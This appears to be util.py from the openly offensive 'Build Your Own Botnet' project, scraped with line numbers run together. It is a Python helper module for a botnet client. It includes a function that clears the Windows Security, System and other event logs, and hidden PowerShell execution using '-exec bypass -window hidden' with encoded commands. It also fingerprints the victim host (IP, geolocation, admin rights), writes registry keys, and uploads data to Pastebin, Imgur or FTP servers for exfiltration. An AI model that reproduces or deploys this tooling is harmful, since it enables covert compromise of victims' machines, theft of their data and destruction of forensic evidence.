Path: blob/master/web-gui/buildyourownbotnet/core/util.py
1292 views
#!/usr/bin/python1# -*- coding: utf-8 -*-2'Utilities (Build Your Own Botnet)'3from __future__ import print_function45import colorama6colorama.init()78_debug = False910# main11def log(info, level='debug'):12"""13Log output to the console (if verbose output is enabled)1415"""16import logging17logging.basicConfig(level=logging.DEBUG if globals()['_debug'] else logging.ERROR, handlers=[logging.StreamHandler()])18logger = logging.getLogger(__name__)19getattr(logger, level if hasattr(logger, level) else 'debug')(str(info))202122def imports(source, target=None):23"""24Attempt to import each package into the module specified2526`Required`27:param list source: package/module to import2829`Optional`30:param object target: target object/module to import into3132"""33if isinstance(source, str):34source = source.split()35if isinstance(target, dict):36module = target37elif hasattr(target, '__dict__'):38module = target.__dict__39else:40module = globals()41for src in source:42try:43exec("import {}".format(src), target)44except ImportError:45log("missing package '{}' is required".format(source))464748def is_compatible(platforms=['win32','linux2','darwin'], module=None):49"""50Verify that a module is compatible with the host platform5152`Optional`53:param list platforms: compatible platforms54:param str module: name of the module5556"""57import sys58if sys.platform in platforms:59return True60log("module {} is not yet compatible with {} platforms".format(module if module else '', sys.platform), level='warn')61return False626364def platform():65"""66Return the system platform of host machine6768"""69import sys70return sys.platform717273def public_ip():74"""75Return public IP address of host machine7677"""78import sys79if sys.version_info[0] > 2:80from urllib.request import urlopen81else:82from urllib import urlopen83return urlopen('http://api.ipify.org').read().decode()848586def local_ip():87"""88Return local IP address of host machine8990"""91import socket92return socket.gethostbyname(socket.gethostname())939495def mac_address():96"""97Return MAC address of host machine9899"""100import uuid101return ':'.join(hex(uuid.getnode()).strip('0x').strip('L')[i:i+2] for i in range(0,11,2)).upper()102103104def architecture():105"""106Check if host machine has 32-bit or 64-bit processor architecture107108"""109import struct110return int(struct.calcsize('P') * 8)111112113def device():114"""115Return the name of the host machine116117"""118import socket119return socket.getfqdn(socket.gethostname())120121122def username():123"""124Return username of current logged in user125126"""127import os128return os.getenv('USER', os.getenv('USERNAME', 'user'))129130131def administrator():132"""133Return True if current user is administrator, otherwise False134135"""136import os137import ctypes138return bool(ctypes.windll.shell32.IsUserAnAdmin() if os.name == 'nt' else os.getuid() == 0)139140141def geolocation():142"""143Return latitute/longitude of host machine (tuple)144"""145import sys146import json147if sys.version_info[0] > 2:148from urllib.request import urlopen149else:150from urllib2 import urlopen151response = urlopen('http://ipinfo.io').read()152json_data = json.loads(response)153latitude, longitude = json_data.get('loc').split(',')154return (latitude, longitude)155156157def ipv4(address):158"""159Check if valid IPv4 address160161`Required`162:param str address: string to check163164Returns True if input is valid IPv4 address, otherwise False165166"""167import socket168try:169if socket.inet_aton(str(address)):170return True171except:172return False173174175def status(timestamp):176"""177Check the status of a job/thread178179`Required`180:param float timestamp: Unix timestamp (seconds since the Epoch)181182"""183import time184c = time.time() - float(timestamp)185data=['{} days'.format(int(c / 86400.0)) if int(c / 86400.0) else str(),186'{} hours'.format(int((c % 86400.0) / 3600.0)) if int((c % 86400.0) / 3600.0) else str(),187'{} minutes'.format(int((c % 3600.0) / 60.0)) if int((c % 3600.0) / 60.0) else str(),188'{} seconds'.format(int(c % 60.0)) if int(c % 60.0) else str()]189return ', '.join([i for i in data if i])190191192def unzip(filename):193"""194Extract all files from a ZIP archive195196`Required`197:param str filename: path to ZIP archive198199"""200import os201import zipfile202z = zipfile.ZipFile(filename)203path = os.path.dirname(filename)204z.extractall(path=path)205206207def post(url, headers={}, data={}, json={}, as_json=False):208"""209Make a HTTP post request and return response210211`Required`212:param str url: URL of target web page213214`Optional`215:param dict headers: HTTP request headers216:param dict data: HTTP request POST data217:param dict json: POST data in JSON format218:param bool as_json: return JSON formatted output219220"""221try:222import requests223req = requests.post(url, headers=headers, data=data, json=json)224output = req.content225if as_json:226try:227output = req.json()228except: pass229return output230except:231import sys232if sys.version_info[0] > 2:233from urllib.request import urlopen,urlencode,Request234else:235from urllib import urlencode236from urllib2 import urlopen,Request237data = urlencode(data)238req = Request(str(url), data=data)239for key, value in headers.items():240req.headers[key] = value241output = urlopen(req).read()242if as_json:243import json244try:245output = json.loads(output)246except: pass247return output248249250def normalize(source):251"""252Normalize data/text/stream253254`Required`255:param source: string OR readable-file256257"""258import os259if os.path.isfile(source):260return open(source, 'rb').read()261elif hasattr(source, 'getvalue'):262return source.getvalue()263elif hasattr(source, 'read'):264if hasattr(source, 'seek'):265source.seek(0)266return source.read()267else:268return bytes(source)269270271def registry_key(key, subkey, value):272"""273Create a new Windows Registry Key in HKEY_CURRENT_USER274275`Required`276:param str key: primary registry key name277:param str subkey: registry key sub-key name278:param str value: registry key sub-key value279280Returns True if successful, otherwise False281282"""283try:284import _winreg285reg_key = _winreg.OpenKey(_winreg.HKEY_CURRENT_USER, key, 0, _winreg.KEY_WRITE)286_winreg.SetValueEx(reg_key, subkey, 0, _winreg.REG_SZ, value)287_winreg.CloseKey(reg_key)288return True289except Exception as e:290log(e)291return False292293294def png(image):295"""296Transforms raw image data into a valid PNG data297298`Required`299:param image: `numpy.darray` object OR `PIL.Image` object300301Returns raw image data in PNG format302303"""304import sys305import zlib306import numpy307import struct308309try:310from StringIO import StringIO # Python 2311except ImportError:312from io import StringIO # Python 3313314if isinstance(image, numpy.ndarray):315width, height = (image.shape[1], image.shape[0])316data = image.tobytes()317elif hasattr(image, 'width') and hasattr(image, 'height') and hasattr(image, 'rgb'):318width, height = (image.width, image.height)319data = image.rgb320else:321raise TypeError("invalid input type: {}".format(type(image)))322323line = width * 3324png_filter = struct.pack('>B', 0)325scanlines = b"".join([png_filter + data[y * line:y * line + line] for y in range(height)])326magic = struct.pack('>8B', 137, 80, 78, 71, 13, 10, 26, 10)327328ihdr = [b"", b'IHDR', b"", b""]329ihdr[2] = struct.pack('>2I5B', width, height, 8, 2, 0, 0, 0)330ihdr[3] = struct.pack('>I', zlib.crc32(b"".join(ihdr[1:3])) & 0xffffffff)331ihdr[0] = struct.pack('>I', len(ihdr[2]))332333idat = [b"", b'IDAT', zlib.compress(scanlines), b""]334idat[3] = struct.pack('>I', zlib.crc32(b"".join(idat[1:3])) & 0xffffffff)335idat[0] = struct.pack('>I', len(idat[2]))336337iend = [b"", b'IEND', b"", b""]338iend[3] = struct.pack('>I', zlib.crc32(iend[1]) & 0xffffffff)339iend[0] = struct.pack('>I', len(iend[2]))340341fileh = StringIO()342fileh.write(str(magic))343fileh.write(str(b"".join(ihdr)))344fileh.write(str(b"".join(idat)))345fileh.write(str(b"".join(iend)))346fileh.seek(0)347output = fileh.getvalue()348if sys.version_info[0] > 2:349output = output.encode('utf-8') # python3 compatibility350return output351352353def delete(target):354"""355Tries to delete file via multiple methods, if necessary356357`Required`358:param str target: target filename to delete359360"""361import os362import shutil363try:364_ = os.popen('attrib -h -r -s {}'.format(target)) if os.name == 'nt' else os.chmod(target, 777)365except OSError: pass366try:367if os.path.isfile(target):368os.remove(target)369elif os.path.isdir(target):370import shutil371shutil.rmtree(target, ignore_errors=True)372except OSError: pass373374375def clear_system_logs():376"""377Clear Windows system logs (Application, security, Setup, System)378379"""380try:381for log in ["application","security","setup","system"]:382output = powershell("& { [System.Diagnostics.Eventing.Reader.EventLogSession]::GlobalSession.ClearLog(\"%s\")}" % log)383if output:384log(output)385except Exception as e:386log(e)387388389def kwargs(data):390"""391Takes a string as input and returns a dictionary of keyword arguments392393`Required`394:param str data: string to parse for keyword arguments395396Returns dictionary of keyword arguments as key-value pairs397398"""399try:400return {i.partition('=')[0]: i.partition('=')[2] for i in str(data).split() if '=' in i}401except Exception as e:402log(e)403404405def powershell(code):406"""407Execute code in Powershell.exe and return any results408409`Required`410:param str code: script block of Powershell code411412Returns any output from Powershell executing the code413414"""415import os416import base64417try:418powershell = r'C:\Windows\System32\WindowsPowershell\v1.0\powershell.exe' if os.path.exists(r'C:\Windows\System32\WindowsPowershell\v1.0\powershell.exe') else os.popen('where powershell').read().rstrip()419return os.popen('{} -exec bypass -window hidden -noni -nop -encoded {}'.format(powershell, base64.b64encode(code))).read()420except Exception as e:421log("{} error: {}".format(powershell.__name__, str(e)))422423424def display(output, color=None, style=None, end='\n', event=None, lock=None):425"""426Display output in the console427428`Required`429:param str output: text to display430431`Optional`432:param str color: red, green, cyan, magenta, blue, white433:param str style: normal, bright, dim434:param str end: __future__.print_function keyword arg435:param lock: threading.Lock object436:param event: threading.Event object437438"""439# if isinstance(output, bytes):440# output = output.decode('utf-8')441# else:442# output = str(output)443# _color = ''444# if color:445# _color = getattr(colorama.Fore, color.upper())446# _style = ''447# if style:448# _style = getattr(colorama.Style, style.upper())449# exec("""print(_color + _style + output + colorama.Style.RESET_ALL, end="{}")""".format(end))450print(output)451452453def color():454"""455Returns a random color for use in console display456457"""458try:459import random460return random.choice(['BLACK', 'BLUE', 'CYAN', 'GREEN', 'LIGHTBLACK_EX', 'LIGHTBLUE_EX', 'LIGHTCYAN_EX', 'LIGHTGREEN_EX', 'LIGHTMAGENTA_EX', 'LIGHTRED_EX', 'LIGHTWHITE_EX', 'LIGHTYELLOW_EX', 'MAGENTA', 'RED', 'RESET', 'WHITE', 'YELLOW'])461except Exception as e:462log("{} error: {}".format(color.__name__, str(e)))463464465def imgur(source, api_key=None):466"""467Upload image file/data to Imgur468469"""470import base64471if api_key:472response = post('https://api.imgur.com/3/upload', headers={'Authorization': 'Client-ID {}'.format(api_key)}, data={'image': base64.b64encode(normalize(source)), 'type': 'base64'}, as_json=True)473return response['data']['link'].encode()474else:475log("No Imgur API key found")476477478def pastebin(source, api_key):479"""480Upload file/data to Pastebin481482`Required`483:param str source: data or readable file-like object484:param str api_dev_key: Pastebin api_dev_key485486`Optional`487:param str api_user_key: Pastebin api_user_key488489"""490import sys491if sys.version_info[0] > 2:492from urllib.parse import urlsplit,urlunsplit493else:494from urllib2 import urlparse495urlsplit = urlparse.urlsplit496urlunsplit = urlparse.urlunsplit497if isinstance(api_key, str):498try:499info = {'api_option': 'paste', 'api_paste_code': normalize(source), 'api_dev_key': api_key}500paste = post('https://pastebin.com/api/api_post.php', data=info)501parts = urlsplit(paste)502result = urlunsplit((parts.scheme, parts.netloc, '/raw' + parts.path, parts.query, parts.fragment)) if paste.startswith('http') else paste503if not result.endswith('/'):504result += '/'505return result506except Exception as e:507log("Upload to Pastebin failed with error: {}".format(e))508else:509log("No Pastebin API key found")510511512def ftp(source, host=None, user=None, password=None, filetype=None):513"""514Upload file/data to FTP server515516`Required`517:param str source: data or readable file-like object518:param str host: FTP server hostname519:param str user: FTP account username520:param str password: FTP account password521522`Optional`523:param str filetype: target file type (default: .txt)524525"""526import os527import time528import ftplib529530try:531from StringIO import StringIO # Python 2532except ImportError:533from io import StringIO # Python 3534535if host and user and password:536path = ''537local = time.ctime().split()538if os.path.isfile(str(source)):539path = source540source = open(path, 'rb')541elif hasattr(source, 'seek'):542source.seek(0)543else:544source = StringIO(source)545try:546ftp = ftplib.FTP(host=host, user=user, password=password)547except:548return "Upload failed - remote FTP server authorization error"549addr = public_ip()550if 'tmp' not in ftp.nlst():551ftp.mkd('/tmp')552if addr not in ftp.nlst('/tmp'):553ftp.mkd('/tmp/{}'.format(addr))554if path:555path = '/tmp/{}/{}'.format(addr, os.path.basename(path))556else:557filetype = '.' + str(filetype) if not str(filetype).startswith('.') else str(filetype)558path = '/tmp/{}/{}'.format(addr, '{}-{}_{}{}'.format(local[1], local[2], local[3], filetype))559stor = ftp.storbinary('STOR ' + path, source)560return path561else:562log('missing one or more required arguments: host, user, password')563564565def config(*arg, **options):566"""567Configuration decorator for adding attributes (e.g. declare platforms attribute with list of compatible platforms)568569"""570import functools571def _config(function):572@functools.wraps(function)573def wrapper(*args, **kwargs):574return function(*args, **kwargs)575for k,v in options.items():576setattr(wrapper, k, v)577return wrapper578return _config579580581def threaded(function):582"""583Decorator for making a function threaded584585`Required`586:param function: function/method to run in a thread587588"""589import time590import threading591import functools592@functools.wraps(function)593def _threaded(*args, **kwargs):594t = threading.Thread(target=function, args=args, kwargs=kwargs, name=time.time())595t.daemon = True596t.start()597return t598return _threaded599600601